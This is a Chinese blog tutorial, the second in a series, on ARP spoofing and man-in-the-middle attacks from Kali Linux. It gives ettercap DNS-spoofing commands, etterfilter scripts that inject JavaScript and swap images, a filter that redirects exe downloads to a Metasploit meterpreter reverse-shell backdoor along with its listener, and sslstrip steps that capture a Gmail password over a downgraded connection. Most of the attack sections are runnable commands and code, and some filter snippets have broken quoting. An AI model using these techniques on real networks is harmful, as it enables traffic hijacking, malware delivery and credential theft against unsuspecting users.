關於ARP欺騙與MITM(中間人攻擊)的一些筆記( 二 )

一直沒有折騰啥東西,直到最近kali Linux發佈,纔回想起應該更新博客了…..
 
再次說明,這些技術並非本人原創的,而是之前記錄在Evernote的舊內容(排版不是很好,請諒解),本文是繼關於ARP欺騙與MITM(中間人攻擊)的一些筆記(一)的繼續,目前在Kali Linux下從新整理並放上博客,在這篇筆記中將會有如下內容:
 
1.ettercap插件使用(局域網內DNS欺騙舉例)javascript

2.ettercap過濾腳本簡單使用(替換網頁圖片&下載內容、插入腳本)html

3.使用ssltrip突破ssl加密截獲密碼
 
 
攻擊環境:java

網關:python

ASUS RT-N10+(DD-WRT)linux

IP:192.168.1.1/24web

攻擊主機:vim

Kali Linux 1.0windows

IP:192.168.1.104/24緩存

被攻擊主機(1):服務器

windows 7

IP:192.168.1.111/24

具體測試環境請參考:

關於ARP欺騙與MITM(中間人攻擊)的一些筆記(一)
 
 
1.ettercap插件使用(局域網內DNS欺騙舉例)
 
ettercap提供了不少有用的插件,在命令行上使用插件要加上大寫字母」-P」。圖形界面下plugins ——  Mange the plugins 而後雙擊啓動插件,如圖
 
2.2
 
插件啓動後,插件名前面會顯示一個「*」號
 
不過有的插件並非直接開啓就可使用,就拿圖中dns_spoof這個能夠實現DNS欺騙的插件來講,使用前要先修改配置文件添加記錄。在Kali Linux下ettercap的大多數配置文件和腳本文件存放在/usr/share/ettercap/目錄下,下面咱們來編輯一下dns_spoof這個插件的配置文件。
 
vim /usr/share/ettercap/etter.dns
 
在etter.dns添加一條A記錄,把www.baidu.com轉向127.0.0.1(本機保留地址) ,這會形成被攻擊主機沒法訪問百度首頁,如圖所示:
 
2.3
 
而後使用ettercap對目標主機進行ARP+DNS欺騙:
 
 ettercap -Tq -i wlan0 -P dns_spoof -M arp:remote /192.168.1.111/ /192.168.1.1/
 
能夠看到DNS被跳轉至127.0.0.1,這樣被攻擊的主機訪問百度首頁的時候就會顯示「沒法鏈接」,不過訪問IP和其餘地址沒問題。
 
2.4
 
以上是ettercap插件的簡單舉例,固然ettercap還有不少插件可使用 ,這裏就不一個個舉例了。
 
 
2.使用ettercap過濾腳本簡單使用:
 
ettercap還有很強大的過濾腳本功能,經過使用過濾腳本,能夠對截獲到的數據包作修改而後轉發給被攻擊的主機。能夠實現替換網頁內容、替換下載內容、在被入侵者訪問的網頁中插入代碼等功能…..
 
下面咱們就來新建一個過濾腳本,並使用它,在新創建一個文本中輸入如下內容:
 

1
2
3
4
5
6
7
8
9
10
11
12
13
if  (ip.proto == TCP && tcp.dst == 80) {
if  (search(DATA.data,  "Accept-Encoding" )) {
replace( "Accept-Encoding" "Accept-Rubbish!" );
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if  (ip.proto == TCP && tcp.src == 80) {
replace( "<head>" "<head><script type=" text/javascript ">alert('rootoorotor was here');</script>" );
replace( "<HEAD>" "<HEAD><script type=" text/javascript ">alert('rootoorotor was here');</script>" );
msg( "注入成功!!\n" );
}

 
我這裏暫且這個文本命名爲alert.filter,而後保存。
 
這個腳本能夠替換替換HTML代碼中的<head>,在後面加入<script type=」text/javascript」>alert(‘rootoorotor was here’);</script>,玩Web的童鞋對這個應該很熟悉,就是在網頁上彈出提示框的。要使用這個腳本,還須要使用ettercap自帶的編譯工具把這個腳本編譯成ettercap能夠識別的二進制文件。使用以下命令編譯:
 
etterfilter alert.filter -o alert.ef
 
如圖:
 

2.4

 
alert.ef就是已經編譯完成的過濾腳本。而後能夠利用過濾腳本發動攻擊了。
 
ettercap -T -q -i wlan0 -F alert.ef -M arp:remote /192.168.1.111/  /192.168.1.1/
 
BTW:不知道爲啥,rootoorotor在用命令行(-F)調用過濾腳本老是失敗(沒有腳本調用任何提示),用了絕對路徑也不行。可是在GUI下調用過濾腳本正常,若是您知道問題出在那裏真心但願能獲得您的指導:)
圖形界面下調用腳本比較簡單,如圖:
 
2.5
 
腳本執行時ettercap顯示出了腳本執行的message
 
2.6
 
該腳本執行成功以後,被攻擊者主機打開每一個網頁都會看到賣萌的信息:
 

2.7

 

接下來這個腳本是替換網頁圖片的(使用方法同上):

 

1
2
3
4
5
6
7
8
9
10
11
12
if  (ip.proto == TCP && tcp.dst == 80) {
if  (search(DATA.data,  "Accept-Encoding" )) {
replace( "Accept-Encoding" "Accept-Rubbish!" );
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if  (ip.proto == TCP && tcp.src == 80) {
replace( "img src=" "img src=http://up.2cto.com/2013/0507/20130507033106535.com/&' " );
replace( "IMG SRC=" "img src=http://up.2cto.com/2013/0507/20130507033106535.com/&' " );
msg( "過濾執行.\n" );
}

 
效果如圖:
 
2.8
 
固然你也能夠本身修改腳本,掛個木馬什麼的。
 
下面是一個使用過濾腳本替換網頁下載文件並奪取目標主機控制權的列子,這裏結合Metasploit生成一個反向連接的payload作演示:
 
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -o setup.exe
 
如圖
 
2.9
 
生成後門以後能夠把後門程序放在網盤上,而後在下面用到的腳本中把下載地址替換爲你放置後門的地點,而後新建一個替換下載內容的過濾腳本,保存爲exe.filter:
 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if  (ip.proto == TCP && tcp.dst == 80) {
if  (search(DATA.data,  "Accept-Encoding" )) {
replace( "Accept-Encoding" "Accept-Mousecat" );
msg( "zapped Accept-Encoding!\n" );
}
}
if  (ip.proto == TCP && tcp.src == 80) {
replace( "keep-alive" "close"  ");
replace( "Keep-Alive" "close"  ");
}
if  (ip.proto == TCP && search(DATA.data,  ": application" ) ){
msg( "found EXE\n" );
if  (search(DATA.data,  "Win32" )) {
msg( "doing nothing\n" );
else  {
replace( "200 OK" "301 Moved Permanently Location: http://www.rootoorotor.org/setup.exe" );
msg( "redirect success\n" );
}
}

 
編譯腳本:
 
etterfilter exe.filter -o exe.ef
 
使用msfcli的handler監聽本地的4444端口
 
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 E
 
2.11
 
使用ettercap調用過濾腳本發動ARP攻擊毒化目標主機的ARP緩存
 
ettercap -Tq -i wlan0 -F /home/rootoorotor/Desktop/exe.ef -M arp:remote /192.168.1.111/  /192.168.1.1/
 
當發動ARP攻擊成功以後,被攻擊主機從網站下載後綴名爲exe的文件會被替換成後門程序的下載地址。如圖:
 

2.10

 
被入侵者若是在不知明的狀況下運行了setup.exe。入侵者就獲得了被攻擊主機(192.168.1.111)的控制權,如圖
 
2.13
 
BTW:事實上不會這麼簡單就奪取一臺主機的控制權,rootoorotor在操做的時候發現替換exe程序的腳本常常失效(但願懂的朋友能指點一二),這裏只是作個簡單的演示。
 
學習怎樣寫過濾腳本可使用man 8 etterfilter 查看幫助文檔,這裏提供了不少有用的過濾規則:
 

http://fuzzexp.org/ettercap-filter-rules-send.html

 
參照別人的過濾規則而後修改爲本身想要的規則是不錯的選擇~
 
 
3.使用ssltrip突破ssl加密截獲密碼
 
2009年的黑帽大會上,一個名叫Moxie Marlinspike(做者博客:http://www.thoughtcrime.org/)的研究人員,發佈了一個叫sslstrip的工具。經過該工具,能夠實現對ssl進行中間人攻擊。
 
原理大概是這樣的:
 
1.ARP欺騙,使得攻擊者能截獲全部目標主機的網絡流量;
2.攻擊者利用用戶對於地址欄中HTTPS與HTTP的疏忽,將全部的HTTPS鏈接都用HTTP來代替;
3.同時,與目標服務器創建正常的HTTPS鏈接;
4.因爲HTTP通訊是明文傳輸,攻擊者能輕鬆實施嗅探。
 
環境依然是前面提到的那樣:
攻擊主機 :Kali Linux1.0  IP:192.168.1.104/24

被攻擊主機: Windows 7  IP:192.168.1.111/24

網關:192.168.1.1/24

這裏對192.168.1.111的主機使用的gmail帳戶進行攻擊

帳戶:testuser9510@gmail.com

密碼:!@#$%09876
 
 
步驟以下:
 
下載並安裝sslstrip最新版(要求python版本>=2.5):
 
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
 

tar zxvf sslstrip-0.9.tar.gz

 
cd sslstrip-0.9
 
sudo python ./setup.py install
 
開啓內核轉發功能保證攻擊過程當中被攻擊者不斷網:
 
echo 1 > /proc/sys/net/ipv4/ip_forward
 
使用iptables把80端口的流量轉發到sslstrip監聽的10000端口上:
 
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
 
啓動sslstrip
 
sslstrip -l 10000
 
2.14
 
使用ettercap對目標主機進行arp攻擊,並嗅探密碼(過程當中sslstrip的窗口不要關閉):
 
ettercap -Tq -i wlan0 -M arp:remote /192.168.1.111/ /192.168.1.1/
 
此時被攻擊者登錄Gmail時https已經被降級爲http,如圖所示
 
攻擊前:
2.30
 
攻擊後:
2.31
 
此時ettercap也截獲到了gmail的密碼,攻擊完成
 
2.32 以上就是關於ARP欺騙與MITM(中間人攻擊)的一些筆記(二)的全部內容,本人不才,文中有錯誤的地方歡迎指點一二。若是你對局域網內ARP攻擊還有什麼好玩的思路歡迎交流。仍是那句話:若是本文對你有所幫助,那是我最大的榮幸!另外,在關於ARP欺騙與MITM(中間人攻擊)的一些筆記(三)中我會分享一些ARP攻擊的防護方法

相關文章
相關標籤/搜索